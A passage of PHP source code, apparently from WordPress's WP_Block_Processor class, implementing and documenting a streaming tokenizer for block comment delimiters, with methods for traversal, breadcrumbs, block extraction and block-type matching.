* <⃨h⃨2⃨>⃨M⃨y⃨ ⃨s⃨y⃨n⃨o⃨p⃨s⃨i⃨s⃨<⃨/⃨h⃨2⃨>⃨\⃨n⃨<!-- wp:my/table-of-contents /-->
*
* // Inner HTML is never freeform content, and will not be matched even with the wildcard.
* ...</ul><⃨!⃨-⃨-⃨ ⃨/⃨w⃨p⃨:⃨l⃨i⃨s⃨t⃨ ⃨-⃨-⃨>⃨<!-- wp:paragraph --><p>
*
* Example:
*
* $html = '<!-- wp:void /-->\n<!-- wp:void /-->';
* $processor = new WP_Block_Processor( $html );
* while ( $processor->next_delimiter() {
* // Runs twice, seeing both void blocks of type “core/void.”
* }
*
* $processor = new WP_Block_Processor( $html );
* while ( $processor->next_delimiter( '*' ) ) {
* // Runs thrice, seeing the void block, the newline span, and the void block.
* }
*
* @since 6.9.0
*
* @param string|null $block_name Optional. Keep searching until a block of this name is found.
* Defaults to visit every block regardless of type.
* @return bool Whether a block delimiter was matched.
*/
public function next_delimiter( ?string $block_name = null ): bool {
if ( ! isset( $block_name ) ) {
while ( $this->next_token() ) {
if ( ! $this->is_html() ) {
return true;
}
}
return false;
}
while ( $this->next_token() ) {
if ( $this->is_block_type( $block_name ) ) {
return true;
}
}
return false;
}
/**
* Advance to the next block delimiter or HTML span in a document, indicating if one was found.
*
* This function steps through every syntactic chunk in a document. This includes explicit
* block comment delimiters, freeform non-block content, and inner HTML segments.
*
* Example tokens:
*
* <!-- wp:paragraph {"dropCap": true} -->
* <!-- wp:separator /-->
* <!-- /wp:paragraph -->
* <p>Normal HTML content</p>
* Plaintext content too!
*
* Example:
*
* // Find span containing wrapping HTML element surrounding inner blocks.
* $processor = new WP_Block_Processor( $html );
* if ( ! $processor->next_block( 'gallery' ) ) {
* return null;
* }
*
* $containing_span = null;
* while ( $processor->next_token() && $processor->is_html() ) {
* $containing_span = $processor->get_span();
* }
*
* This method will visit all HTML spans including those forming freeform non-block
* content as well as those which are part of a block’s inner HTML.
*
* @since 6.9.0
*
* @return bool Whether a token was matched or the end of the document was reached without finding any.
*/
public function next_token(): bool {
if ( $this->last_error || self::COMPLETE === $this->state || self::INCOMPLETE_INPUT === $this->state ) {
return false;
}
// Void tokens automatically pop off the stack of open blocks.
if ( $this->was_void ) {
array_pop( $this->open_blocks_at );
array_pop( $this->open_blocks_length );
$this->was_void = false;
}
$text = $this->source_text;
$end = strlen( $text );
/*
* Because HTML spans are inferred after finding the next delimiter, it means that
* the parser must transition out of that HTML state and reuse the token boundaries
* it found after the HTML span. If those boundaries are before the end of the
* document it implies that a real delimiter was found; otherwise this must be the
* terminating HTML span and the parsing is complete.
*/
if ( self::HTML_SPAN === $this->state ) {
if ( $this->matched_delimiter_at >= $end ) {
$this->state = self::COMPLETE;
return false;
}
switch ( $this->next_stack_op ) {
case 'void':
$this->was_void = true;
$this->open_blocks_at[] = $this->namespace_at;
$this->open_blocks_length[] = $this->name_at + $this->name_length - $this->namespace_at;
break;
case 'push':
$this->open_blocks_at[] = $this->namespace_at;
$this->open_blocks_length[] = $this->name_at + $this->name_length - $this->namespace_at;
break;
case 'pop':
array_pop( $this->open_blocks_at );
array_pop( $this->open_blocks_length );
break;
}
$this->next_stack_op = null;
$this->state = self::MATCHED;
return true;
}
$this->state = self::READY;
$after_prev_delimiter = $this->matched_delimiter_at + $this->matched_delimiter_length;
$at = $after_prev_delimiter;
while ( $at < $end ) {
/*
* Find the next possible start of a delimiter.
*
* This follows the behavior in the official block parser, which segments a post
* by the block comment delimiters. It is possible for an HTML attribute to contain
* what looks like a block comment delimiter but which is actually an HTML attribute
* value. In such a case, the parser here will break apart the HTML and create the
* block boundary inside the HTML attribute. In other words, the block parser
* isolates sections of HTML from each other, even if that leads to malformed markup.
*
* For a more robust parse, scan through the document with the HTML API and parse
* comments once they are matched to see if they are also block delimiters. In
* practice, this nuance has not caused any known problems since developing blocks.
*
* <⃨!⃨-⃨-⃨ /wp:core/paragraph {"dropCap":true} /-->
*/
$comment_opening_at = strpos( $text, '<!--', $at );
/*
* Even if the start of a potential block delimiter is not found, the document
* might end in a prefix of such, and in that case there is incomplete input.
*/
if ( false === $comment_opening_at ) {
if ( str_ends_with( $text, '<!-' ) ) {
$backup = 3;
} elseif ( str_ends_with( $text, '<!' ) ) {
$backup = 2;
} elseif ( str_ends_with( $text, '<' ) ) {
$backup = 1;
} else {
$backup = 0;
}
// Whether or not there is a potential delimiter, there might be an HTML span.
if ( $after_prev_delimiter < ( $end - $backup ) ) {
$this->state = self::HTML_SPAN;
$this->after_previous_delimiter = $after_prev_delimiter;
$this->matched_delimiter_at = $end - $backup;
$this->matched_delimiter_length = $backup;
$this->open_blocks_at[] = $after_prev_delimiter;
$this->open_blocks_length[] = 0;
$this->was_void = true;
return true;
}
/*
* In the case that there is the start of an HTML comment, it means that there
* might be a block delimiter, but it’s not possible know, therefore it’s incomplete.
*/
if ( $backup > 0 ) {
goto incomplete;
}
// Otherwise this is the end.
$this->state = self::COMPLETE;
return false;
}
// <!-- ⃨/wp:core/paragraph {"dropCap":true} /-->
$opening_whitespace_at = $comment_opening_at + 4;
if ( $opening_whitespace_at >= $end ) {
goto incomplete;
}
$opening_whitespace_length = strspn( $text, " \t\f\r\n", $opening_whitespace_at );
/*
* The `wp` prefix cannot come before this point, but it may come after it
* depending on the presence of the closer. This is detected next.
*/
$wp_prefix_at = $opening_whitespace_at + $opening_whitespace_length;
if ( $wp_prefix_at >= $end ) {
goto incomplete;
}
if ( 0 === $opening_whitespace_length ) {
$at = $this->find_html_comment_end( $comment_opening_at, $end );
continue;
}
// <!-- /⃨wp:core/paragraph {"dropCap":true} /-->
$has_closer = false;
if ( '/' === $text[ $wp_prefix_at ] ) {
$has_closer = true;
++$wp_prefix_at;
}
// <!-- /w⃨p⃨:⃨core/paragraph {"dropCap":true} /-->
if ( $wp_prefix_at < $end && 0 !== substr_compare( $text, 'wp:', $wp_prefix_at, 3 ) ) {
if (
( $wp_prefix_at + 2 >= $end && str_ends_with( $text, 'wp' ) ) ||
( $wp_prefix_at + 1 >= $end && str_ends_with( $text, 'w' ) )
) {
goto incomplete;
}
$at = $this->find_html_comment_end( $comment_opening_at, $end );
continue;
}
/*
* If the block contains no namespace, this will end up masquerading with
* the block name. It’s easier to first detect the span and then determine
* if it’s a namespace of a name.
*
* <!-- /wp:c⃨o⃨r⃨e⃨/paragraph {"dropCap":true} /-->
*/
$namespace_at = $wp_prefix_at + 3;
if ( $namespace_at >= $end ) {
goto incomplete;
}
$start_of_namespace = $text[ $namespace_at ];
// The namespace must start with a-z.
if ( 'a' > $start_of_namespace || 'z' < $start_of_namespace ) {
$at = $this->find_html_comment_end( $comment_opening_at, $end );
continue;
}
$namespace_length = 1 + strspn( $text, 'abcdefghijklmnopqrstuvwxyz0123456789-_', $namespace_at + 1 );
$separator_at = $namespace_at + $namespace_length;
if ( $separator_at >= $end ) {
goto incomplete;
}
// <!-- /wp:core/⃨paragraph {"dropCap":true} /-->
$has_separator = '/' === $text[ $separator_at ];
if ( $has_separator ) {
$name_at = $separator_at + 1;
if ( $name_at >= $end ) {
goto incomplete;
}
// <!-- /wp:core/p⃨a⃨r⃨a⃨g⃨r⃨a⃨p⃨h⃨ {"dropCap":true} /-->
$start_of_name = $text[ $name_at ];
if ( 'a' > $start_of_name || 'z' < $start_of_name ) {
$at = $this->find_html_comment_end( $comment_opening_at, $end );
continue;
}
$name_length = 1 + strspn( $text, 'abcdefghijklmnopqrstuvwxyz0123456789-_', $name_at + 1 );
} else {
$name_at = $namespace_at;
$name_length = $namespace_length;
}
if ( $name_at + $name_length >= $end ) {
goto incomplete;
}
/*
* For this next section of the delimiter, it could be the JSON attributes
* or it could be the end of the comment. Assume that the JSON is there and
* update if it’s not.
*/
// <!-- /wp:core/paragraph ⃨{"dropCap":true} /-->
$after_name_whitespace_at = $name_at + $name_length;
$after_name_whitespace_length = strspn( $text, " \t\f\r\n", $after_name_whitespace_at );
$json_at = $after_name_whitespace_at + $after_name_whitespace_length;
if ( $json_at >= $end ) {
goto incomplete;
}
if ( 0 === $after_name_whitespace_length ) {
$at = $this->find_html_comment_end( $comment_opening_at, $end );
continue;
}
// <!-- /wp:core/paragraph {⃨"dropCap":true} /-->
$has_json = '{' === $text[ $json_at ];
$json_length = 0;
/*
* For the final span of the delimiter it's most efficient to find the end of the
* HTML comment and work backwards. This prevents complicated parsing inside the
* JSON span, which is not allowed to contain the HTML comment terminator.
*
* This also matches the behavior in the official block parser,
* even though it allows for matching invalid JSON content.
*
* <!-- /wp:core/paragraph {"dropCap":true} /-⃨-⃨>⃨
*/
$comment_closing_at = strpos( $text, '-->', $json_at );
if ( false === $comment_closing_at ) {
goto incomplete;
}
// <!-- /wp:core/paragraph {"dropCap":true} /⃨-->
if ( '/' === $text[ $comment_closing_at - 1 ] ) {
$has_void_flag = true;
$void_flag_length = 1;
} else {
$has_void_flag = false;
$void_flag_length = 0;
}
/*
* If there's no JSON, then the span of text after the name
* until the comment closing must be completely whitespace.
* Otherwise it’s a normal HTML comment.
*/
if ( ! $has_json ) {
if ( $after_name_whitespace_at + $after_name_whitespace_length === $comment_closing_at - $void_flag_length ) {
// This must be a block delimiter!
$this->state = self::MATCHED;
break;
}
$at = $this->find_html_comment_end( $comment_opening_at, $end );
continue;
}
/*
* There's JSON, so attempt to find its boundary.
*
* @todo It’s likely faster to scan forward instead of in reverse.
*
* <!-- /wp:core/paragraph {"dropCap":true}⃨ ⃨/-->
*/
$after_json_whitespace_length = 0;
for ( $char_at = $comment_closing_at - $void_flag_length - 1; $char_at > $json_at; $char_at-- ) {
$char = $text[ $char_at ];
switch ( $char ) {
case ' ':
case "\t":
case "\f":
case "\r":
case "\n":
++$after_json_whitespace_length;
continue 2;
case '}':
$json_length = $char_at - $json_at + 1;
break 2;
default:
++$at;
continue 3;
}
}
/*
* This covers cases where there is no terminating “}” or where
* mandatory whitespace is missing.
*/
if ( 0 === $json_length || 0 === $after_json_whitespace_length ) {
$at = $this->find_html_comment_end( $comment_opening_at, $end );
continue;
}
// This must be a block delimiter!
$this->state = self::MATCHED;
break;
}
// The end of the document was reached without a match.
if ( self::MATCHED !== $this->state ) {
$this->state = self::COMPLETE;
return false;
}
/*
* From this point forward, a delimiter has been matched. There
* might also be an HTML span that appears before the delimiter.
*/
$this->after_previous_delimiter = $after_prev_delimiter;
$this->matched_delimiter_at = $comment_opening_at;
$this->matched_delimiter_length = $comment_closing_at + 3 - $comment_opening_at;
$this->namespace_at = $namespace_at;
$this->name_at = $name_at;
$this->name_length = $name_length;
$this->json_at = $json_at;
$this->json_length = $json_length;
/*
* When delimiters contain both the void flag and the closing flag
* they shall be interpreted as void blocks, per the spec parser.
*/
if ( $has_void_flag ) {
$this->type = self::VOID;
$this->next_stack_op = 'void';
} elseif ( $has_closer ) {
$this->type = self::CLOSER;
$this->next_stack_op = 'pop';
/*
* @todo Check if the name matches and bail according to the spec parser.
* The default parser doesn’t examine the names.
*/
} else {
$this->type = self::OPENER;
$this->next_stack_op = 'push';
}
$this->has_closing_flag = $has_closer;
// HTML spans are visited before the delimiter that follows them.
if ( $comment_opening_at > $after_prev_delimiter ) {
$this->state = self::HTML_SPAN;
$this->open_blocks_at[] = $after_prev_delimiter;
$this->open_blocks_length[] = 0;
$this->was_void = true;
return true;
}
// If there were no HTML spans then flush the enqueued stack operations immediately.
switch ( $this->next_stack_op ) {
case 'void':
$this->was_void = true;
$this->open_blocks_at[] = $namespace_at;
$this->open_blocks_length[] = $name_at + $name_length - $namespace_at;
break;
case 'push':
$this->open_blocks_at[] = $namespace_at;
$this->open_blocks_length[] = $name_at + $name_length - $namespace_at;
break;
case 'pop':
array_pop( $this->open_blocks_at );
array_pop( $this->open_blocks_length );
break;
}
$this->next_stack_op = null;
return true;
incomplete:
$this->state = self::COMPLETE;
$this->last_error = self::INCOMPLETE_INPUT;
return false;
}
/**
* Returns an array containing the names of the currently-open blocks, in order
* from outermost to innermost, with HTML spans indicated as “#html”.
*
* Example:
*
* // Freeform HTML content is an HTML span.
* $processor = new WP_Block_Processor( 'Just text' );
* $processor->next_token();
* array( '#text' ) === $processor->get_breadcrumbs();
*
* $processor = new WP_Block_Processor( '<!-- wp:a --><!-- wp:b --><!-- wp:c /--><!-- /wp:b --><!-- /wp:a -->' );
* $processor->next_token();
* array( 'core/a' ) === $processor->get_breadcrumbs();
* $processor->next_token();
* array( 'core/a', 'core/b' ) === $processor->get_breadcrumbs();
* $processor->next_token();
* // Void blocks are only open while visiting them.
* array( 'core/a', 'core/b', 'core/c' ) === $processor->get_breadcrumbs();
* $processor->next_token();
* // Blocks are closed before visiting their closing delimiter.
* array( 'core/a' ) === $processor->get_breadcrumbs();
* $processor->next_token();
* array() === $processor->get_breadcrumbs();
*
* // Inner HTML is also an HTML span.
* $processor = new WP_Block_Processor( '<!-- wp:a -->Inner HTML<!-- /wp:a -->' );
* $processor->next_token();
* $processor->next_token();
* array( 'core/a', '#html' ) === $processor->get_breadcrumbs();
*
* @since 6.9.0
*
* @return string[]
*/
public function get_breadcrumbs(): array {
$breadcrumbs = array_fill( 0, count( $this->open_blocks_at ), null );
/*
* Since HTML spans can only be at the very end, set the normalized block name for
* each open element and then work backwards after creating the array. This allows
* for the elimination of a conditional on each iteration of the loop.
*/
foreach ( $this->open_blocks_at as $i => $at ) {
$block_type = substr( $this->source_text, $at, $this->open_blocks_length[ $i ] );
$breadcrumbs[ $i ] = self::normalize_block_type( $block_type );
}
if ( isset( $i ) && 0 === $this->open_blocks_length[ $i ] ) {
$breadcrumbs[ $i ] = '#html';
}
return $breadcrumbs;
}
/**
* Returns the depth of the open blocks where the processor is currently matched.
*
* Depth increases before visiting openers and void blocks and decreases before
* visiting closers. HTML spans behave like void blocks.
*
* @since 6.9.0
*
* @return int
*/
public function get_depth(): int {
return count( $this->open_blocks_at );
}
/**
* Extracts a block object, and all inner content, starting at a matched opening
* block delimiter, or at a matched top-level HTML span as freeform HTML content.
*
* Use this function to extract some blocks within a document, but not all. For example,
* one might want to find image galleries, parse them, modify them, and then reserialize
* them in place.
*
* Once this function returns, the parser will be matched on token following the close
* of the given block.
*
* The return type of this method is compatible with the return of {@see \parse_blocks()}.
*
* Example:
*
* $processor = new WP_Block_Processor( $post_content );
* if ( ! $processor->next_block( 'gallery' ) ) {
* return $post_content;
* }
*
* $gallery_at = $processor->get_span()->start;
* $gallery = $processor->extract_full_block_and_advance();
* $ends_before = $processor->get_span();
* $ends_before = $ends_before->start ?? strlen( $post_content );
*
* $new_gallery = update_gallery( $gallery );
* $new_gallery = serialize_block( $new_gallery );
*
* return (
* substr( $post_content, 0, $gallery_at ) .
* $new_gallery .
* substr( $post_content, $ends_before )
* );
*
* @since 6.9.0
*
* @return array[]|null {
* Array of block structures.
*
* @type array ...$0 {
* An associative array of a single parsed block object. See WP_Block_Parser_Block.
*
* @type string|null $blockName Name of block.
* @type array $attrs Attributes from block comment delimiters.
* @type array[] $innerBlocks List of inner blocks. An array of arrays that
* have the same structure as this one.
* @type string $innerHTML HTML from inside block comment delimiters.
* @type array $innerContent List of string fragments and null markers where
* inner blocks were found.
* }
* }
*/
public function extract_full_block_and_advance(): ?array {
if ( $this->is_html() ) {
$chunk = $this->get_html_content();
return array(
'blockName' => null,
'attrs' => array(),
'innerBlocks' => array(),
'innerHTML' => $chunk,
'innerContent' => array( $chunk ),
);
}
$block = array(
'blockName' => $this->get_block_type(),
'attrs' => $this->allocate_and_return_parsed_attributes() ?? array(),
'innerBlocks' => array(),
'innerHTML' => '',
'innerContent' => array(),
);
$depth = $this->get_depth();
while ( $this->next_token() && $this->get_depth() > $depth ) {
if ( $this->is_html() ) {
$chunk = $this->get_html_content();
$block['innerHTML'] .= $chunk;
$block['innerContent'][] = $chunk;
continue;
}
/**
* Inner blocks.
*
* @todo This is a decent place to call {@link \render_block()}
* @todo Use iteration instead of recursion, or at least refactor to tail-call form.
*/
if ( $this->opens_block() ) {
$inner_block = $this->extract_full_block_and_advance();
$block['innerBlocks'][] = $inner_block;
$block['innerContent'][] = null;
}
/*
* Because the parser has advanced past the closing block token, it
* may be matched on an HTML span. This needs to be processed before
* moving on to the next token at the start of the next loop iteration.
*/
if ( $this->is_html() ) {
$chunk = $this->get_html_content();
$block['innerHTML'] .= $chunk;
$block['innerContent'][] = $chunk;
}
}
return $block;
}
/**
* Returns the byte-offset after the ending character of an HTML comment,
* assuming the proper starting byte offset.
*
* @since 6.9.0
*
* @param int $comment_starting_at Where the HTML comment started, the leading `<`.
* @param int $search_end Last offset in which to search, for limiting search span.
* @return int Offset after the current HTML comment ends, or `$search_end` if no end was found.
*/
private function find_html_comment_end( int $comment_starting_at, int $search_end ): int {
$text = $this->source_text;
// Find span-of-dashes comments which look like `<!----->`.
$span_of_dashes = strspn( $text, '-', $comment_starting_at + 2 );
if (
$comment_starting_at + 2 + $span_of_dashes < $search_end &&
'>' === $text[ $comment_starting_at + 2 + $span_of_dashes ]
) {
return $comment_starting_at + $span_of_dashes + 1;
}
// Otherwise, there are other characters inside the comment, find the first `-->` or `--!>`.
$now_at = $comment_starting_at + 4;
while ( $now_at < $search_end ) {
$dashes_at = strpos( $text, '--', $now_at );
if ( false === $dashes_at ) {
return $search_end;
}
$closer_must_be_at = $dashes_at + 2 + strspn( $text, '-', $dashes_at + 2 );
if ( $closer_must_be_at < $search_end && '!' === $text[ $closer_must_be_at ] ) {
++$closer_must_be_at;
}
if ( $closer_must_be_at < $search_end && '>' === $text[ $closer_must_be_at ] ) {
return $closer_must_be_at + 1;
}
++$now_at;
}
return $search_end;
}
/**
* Indicates if the last attempt to parse a block comment delimiter
* failed, if set, otherwise `null` if the last attempt succeeded.
*
* @since 6.9.0
*
* @return string|null Error from last attempt at parsing next block delimiter,
* or `null` if last attempt succeeded.
*/
public function get_last_error(): ?string {
return $this->last_error;
}
/**
* Indicates if the last attempt to parse a block’s JSON attributes failed.
*
* @see \json_last_error()
*
* @since 6.9.0
*
* @return int JSON_ERROR_ code from last attempt to parse block JSON attributes.
*/
public function get_last_json_error(): int {
return $this->last_json_error;
}
/**
* Returns the type of the block comment delimiter.
*
* One of:
*
* - {@see self::OPENER}
* - {@see self::CLOSER}
* - {@see self::VOID}
* - `null`
*
* @since 6.9.0
*
* @return string|null type of the block comment delimiter, if currently matched.
*/
public function get_delimiter_type(): ?string {
switch ( $this->state ) {
case self::HTML_SPAN:
return self::VOID;
case self::MATCHED:
return $this->type;
default:
return null;
}
}
/**
* Returns whether the delimiter contains the closing flag.
*
* This should be avoided except in cases of custom error-handling
* with block closers containing the void flag. For normative use,
* {@see self::get_delimiter_type()}.
*
* @since 6.9.0
*
* @return bool Whether the currently-matched block delimiter contains the closing flag.
*/
public function has_closing_flag(): bool {
return $this->has_closing_flag;
}
/**
* Indicates if the block delimiter represents a block of the given type.
*
* Since the “core” namespace may be implicit, it’s allowable to pass
* either the fully-qualified block type with namespace and block name
* as well as the shorthand version only containing the block name, if
* the desired block is in the “core” namespace.
*
* Since freeform HTML content is non-block content, it has no block type.
* Passing the wildcard “*” will, however, return true for all block types,
* even the implicit freeform content, though not for spans of inner HTML.
*
* Example:
*
* $is_core_paragraph = $processor->is_block_type( 'paragraph' );
* $is_core_paragraph = $processor->is_block_type( 'core/paragraph' );
* $is_formula = $processor->is_block_type( 'math-block/formula' );
*
* @param string $block_type Block type name for the desired block.
* E.g. "paragraph", "core/paragraph", "math-blocks/formula".
* @return bool Whether this delimiter represents a block of the given type.
*/
public function is_block_type( string $block_type ): bool {
if ( '*' === $block_type ) {
return true;
}
if ( $this->is_html() ) {
// This is a core/freeform text block, it’s special.
if ( 0 === ( $this->open_blocks_length[0] ?? null ) ) {
return (
'core/freeform' === $block_type ||
'freeform' === $block_type
);
}
// Otherwise this is innerHTML and not a block.
return false;
}
return $this->are_equal_block_types( $this->source_text, $this->namespace_at, $this->name_at - $this->namespace_at + $this->name_length, $block_type, 0, strlen( $block_type ) );
}
/**
* Given two spans of text, indicate if they represent identical block types.
*
* This function normalizes block types to account for implicit core namespacing.
*
* Note! This function only returns valid results when the complete block types are
* represented in the span offsets and lengths. This means that the full optional
* namespace and block name must be represented in the input arguments.
*
* Example:
*
* 0 5 10 15 20 25 30 35 40
* $text = '<!-- wp:block --><!-- /wp:core/block -->';
*
* true === WP_Block_Processor::are_equal_block_types( $text, 9, 5, $text, 27, 10 );
* false === WP_Block_Processor::are_equal_block_types( $text, 9, 5, 'my/block', 0, 8 );
*
* @since 6.9.0
*
* @param string $a_text Text in which first block type appears.
* @param int $a_at Byte offset into text in which first block type starts.
* @param int $a_length Byte length of first block type.
* @param string $b_text Text in which second block type appears (may be the same as the first text).
* @param int $b_at Byte offset into text in which second block type starts.
* @param int $b_length Byte length of second block type.
* @return bool Whether the spans of text represent identical block types, normalized for namespacing.
*/
public static function are_equal_block_types( string $a_text, int $a_at, int $a_length, string $b_text, int $b_at, int $b_length ): bool {
$a_ns_length = strcspn( $a_text, '/', $a_at, $a_length );
$b_ns_length = strcspn( $b_text, '/', $b_at, $b_length );
$a_has_ns = $a_ns_length !== $a_length;
$b_has_ns = $b_ns_length !== $b_length;
// Both contain namespaces.
if ( $a_has_ns && $b_has_ns ) {
if ( $a_length !== $b_length ) {
return false;
}
$a_block_type = substr( $a_text, $a_at, $a_length );
return 0 === substr_compare( $b_text, $a_block_type, $b_at, $b_length );
}
if ( $a_has_ns ) {
$b_block_type = 'core/' . substr( $b_text, $b_at, $b_length );
return (
strlen( $b_block_type ) === $a_length &&
0 === substr_compare( $a_text, $b_block_type, $a_at, $a_length )
);
}
if ( $b_has_ns ) {
$a_block_type = 'core/' . substr( $a_text, $a_at, $a_length );
return (
strlen( $a_block_type ) === $b_length &&
0 === substr_compare( $b_text, $a_block_type, $b_at, $b_length )
);
}
// Neither contains a namespace.
if ( $a_length !== $b_length ) {
return false;
}
$a_name = substr( $a_text, $a_at, $a_length );
return 0 === substr_compare( $b_text, $a_name, $b_at, $b_length );
}
/**
* Indicates if the matched delimiter is an opening or void delimiter of the given type,
* if a type is provided, otherwise if it opens any block or implicit freeform HTML content.
*
* This is a helper method to ease handling of code inspecting where blocks start, and for
* checking if the blocks are of a given type. The function is variadic to allow for
* checking if the delimiter opens one of many possible block types.
*
* To advance to the start of a block {@see self::next_block()}.
*
* Example:
*
* $processor = new WP_Block_Processor( $html );
* while ( $processor->next_delimiter() ) {
* if ( $processor->opens_block( 'core/code', 'syntaxhighlighter/code' ) ) {
* echo "Found code!";
* continue;
* }
*
* if ( $processor->opens_block( 'core/image' ) ) {
* echo "Found an image!";
* continue;
* }
*
* if ( $processor->opens_block() ) {
* echo "Found a new block!";
* }
* }
*
* @since 6.9.0
*
* @see self::is_block_type()
*
* @param string[] $block_type Optional. Is the matched block type one of these?
* If none are provided, will not test block type.
* @return bool Whether the matched block delimiter opens a block, and whether it
* opens a block of one of the given block types, if provided.
*/
public function opens_block( string ...$block_type ): bool {
// HTML spans only open implicit freeform content at the top level.
if ( self::HTML_SPAN === $this->state && 1 !== count( $this->open_blocks_at ) ) {
return false;
}
/*
* Because HTML spans are discovered after the next delimiter is found,
* the delimiter type when visiting HTML spans refers to the type of the
* following delimiter. Therefore the HTML case is handled by checking
* the state and depth of the stack of open block.
*/
if ( self::CLOSER === $this->type && ! $this->is_html() ) {
return false;
}
if ( count( $block_type ) === 0 ) {
return true;
}
foreach ( $block_type as $block ) {
if ( $this->is_block_type( $block ) ) {
return true;
}
}
return false;
}
/**
* Indicates if the matched delimiter is an HTML span.
*
* @since 6.9.0
*
* @see self::is_non_whitespace_html()
*
* @return bool Whether the processor is matched on an HTML span.
*/
public function is_html(): bool {
return self::HTML_SPAN === $this->state;
}
/**
* Indicates if the matched delimiter is an HTML span and comprises more
* than whitespace characters, i.e. contains real content.
*
* Many block serializers introduce newlines between block delimiters,
* so the presence of top-level non-block content does not imply that
* there are “real” freeform HTML blocks. Checking if there is content
* beyond whitespace is a more certain check, such as for determining
* whether to load CSS for the freeform or fallback block type.
*
* @since 6.9.0
*
* @see self::is_html()
*
* @return bool Whether the currently-matched delimiter is an HTML
* span containing non-whitespace text.
*/
public function is_non_whitespace_html(): bool {
if ( ! $this->is_html() ) {
return false;
}
$length = $this->matched_delimiter_at - $this->after_previous_delimiter;
$whitespace_length = strspn(
$this->source_text,
" \t\f\r\n",
$this->after_previous_delimiter,
$length
);
return $whitespace_length !== $length;
}
/**
* Returns the string content of a matched HTML span, or `null` otherwise.
*
* @since 6.9.0
*
* @return string|null Raw HTML content, or `null` if not currently matched on HTML.
*/
public function get_html_content(): ?string {
if ( ! $this->is_html() ) {
return null;
}
return substr(
$this->source_text,
$this->after_previous_delimiter,
$this->matched_delimiter_at - $this->after_previous_delimiter
);
}
/**
* Allocates a substring for the block type and returns the fully-qualified
* name, including the namespace, if matched on a delimiter, otherwise `null`.
*
* This function is like {@see self::get_printable_block_type()} but when
* paused on a freeform HTML block, will return `null` instead of “core/freeform”.
* The `null` behavior matches what {@see \parse_blocks()} returns but may not
* be as useful as having a string value.
*
* This function allocates a substring for the given block type. This
* allocation will be small and likely fine in most cases, but it's
* preferable to call {@see self::is_block_type()} if only needing
* to know whether the delimiter is for a given block type, as that
* function is more efficient for this purpose and avoids the allocation.
*
* Example:
*
* // Avoid.
* 'core/paragraph' = $processor->get_block_type();
*
* // Prefer.
* $processor->is_block_type( 'core/paragraph' );
* $processor->is_block_type( 'paragraph' );
* $processor->is_block_type( 'core/freeform' );
*
* // Freeform HTML content has no block type.
* $processor = new WP_Block_Processor( 'non-block content' );
* $processor->next_token();
* null === $processor->get_block_type();
*
* @since 6.9.0
*
* @see self::are_equal_block_types()
*
* @return string|null Fully-qualified block namespace and type, e.g. "core/paragraph",
* if matched on an explicit delimiter, otherwise `null`.
*/
public function get_block_type(): ?string {
if (
self::READY === $this->state ||
self::COMPLETE === $this->state ||
self::INCOMPLETE_INPUT === $this->state
) {
return null;
}
// This is a core/freeform text block, it’s special.
if ( $this->is_html() ) {
return null;
}
$block_type = substr( $this->source_text, $this->namespace_at, $this->name_at - $this->namespace_at + $this->name_length );
return self::normalize_block_type( $block_type );
}
/**
* Allocates a printable substring for the block type and returns the fully-qualified
* name, including the namespace, if matched on a delimiter or freeform block, otherwise `null`.
*
* This function is like {@see self::get_block_type()} but when paused on a freeform
* HTML block, will return “core/freeform” instead of `null`. The `null` behavior matches
* what {@see \parse_blocks()} returns but may not be as useful as having a string value.
*
* This function allocates a substring for the given block type. This
* allocation will be small and likely fine in most cases, but it's
* preferable to call {@see self::is_block_type()} if only needing
* to know whether the delimiter is for a given block type, as that
* function is more efficient for this purpose and avoids the allocation.
*
* Example:
*
* // Avoid.
* 'core/paragraph' = $processor->get_printable_block_type();
*
* // Prefer.
* $processor->is_block_type( 'core/paragraph' );
* $processor->is_block_type( 'paragraph' );
* $processor->is_block_type( 'core/freeform' );
*
* // Freeform HTML content is given an implicit type.
* $processor = new WP_Block_Processor( 'non-block content' );
* $processor->next_token();
* 'core/freeform' === $processor->get_printable_block_type();
*
* @since 6.9.0
*
* @see self::are_equal_block_types()
*
* @return string|null Fully-qualified block namespace and type, e.g. "core/paragraph",
* if matched on an explicit delimiter or freeform block, otherwise `null`.
*/
public function get_printable_block_type(): ?string {
if (
self::READY === $this->state ||
self::COMPLETE === $this->state ||
self::INCOMPLETE_INPUT === $this->state
) {
return null;
}
// This is a core/freeform text block, it’s special.
if ( $this->is_html() ) {
return 1 === count( $this->open_blocks_at )
? 'core/freeform'
: '#innerHTML';
}
$block_type = substr( $this->source_text, $this->namespace_at, $this->name_at - $this->namespace_at + $this->name_length );
return self::normalize_block_type( $block_type );
}
/**
* Normalizes a block name to ensure that missing implicit “core” namespaces are present.
*
* Example:
*
* 'core/paragraph' === WP_Block_Processor::normalize_block_byte( 'paragraph' );
* 'core/paragraph' === WP_Block_Processor::normalize_block_byte( 'core/paragraph' );
* 'my/paragraph' === WP_Block_Processor::normalize_block_byte( 'my/paragraph' );
*
* @since 6.9.0
*
* @param string $block_type Valid block name, potentially without a namespace.
* @return string Fully-qualified block type including namespace.
*/
public static function normalize_block_type( string $block_type ): string {
return false === strpos( $block_type, '/' )
? "core/{$block_type}"
: $block_type;
}
/**
* Returns a lazy wrapper around the block attributes, which can be used
* for efficiently interacting with the JSON attributes.
*
* This stub hints that there should be a lazy interface for parsing
* block attributes but doesn’t define it. It serves both as a placeholder
* for one to come as well as a guard against implementing an eager
* function in its place.
*
* @throws Exception This function is a stub for subclasses to implement
* when providing streaming attribute parsing.
*
* @since 6.9.0
*
* @see self::allocate_and_return_parsed_attributes()
*
* @return never
*/
public function get_attributes() {
throw new Exception( 'Lazy attribute parsing not yet supported' );
}
/**
* Attempts to parse and return the entire JSON attributes from the delimiter,
* allocating memory and processing the JSON span in the process.
*
* This does not return any parsed attributes for a closing block delimiter
* even if there is a span of JSON content; this JSON is a parsing error.
*
* Consider calling {@see static::get_attributes()} instead if it's not
* necessary to read all the attributes at the same time, as that provides
* a more efficient mechanism for typical use cases.
*
* Since the JSON span inside the comment delimiter may not be valid JSON,
* this function will return `null` if it cannot parse the span and set the
* {@see static::get_last_json_error()} to the appropriate JSON_ERROR_ constant.
*
* If the delimiter contains no JSON span, it will also return `null`,
* but the last error will be set to {@see \JSON_ERROR_NONE}.
*
* Example:
*
* $processor = new WP_Block_Processor( '<!-- wp:image {"url": "https://wordpress.org/favicon.ico"} -->' );
* $processor->next_delimiter();
* $memory_hungry_and_slow_attributes = $processor->allocate_and_return_parsed_attributes();
* $memory_hungry_and_slow_attributes === array( 'url' => 'https://wordpress.org/favicon.ico' );
*
* $processor = new WP_Block_Processor( '<!-- /wp:image {"url": "https://wordpress.org/favicon.ico"} -->' );
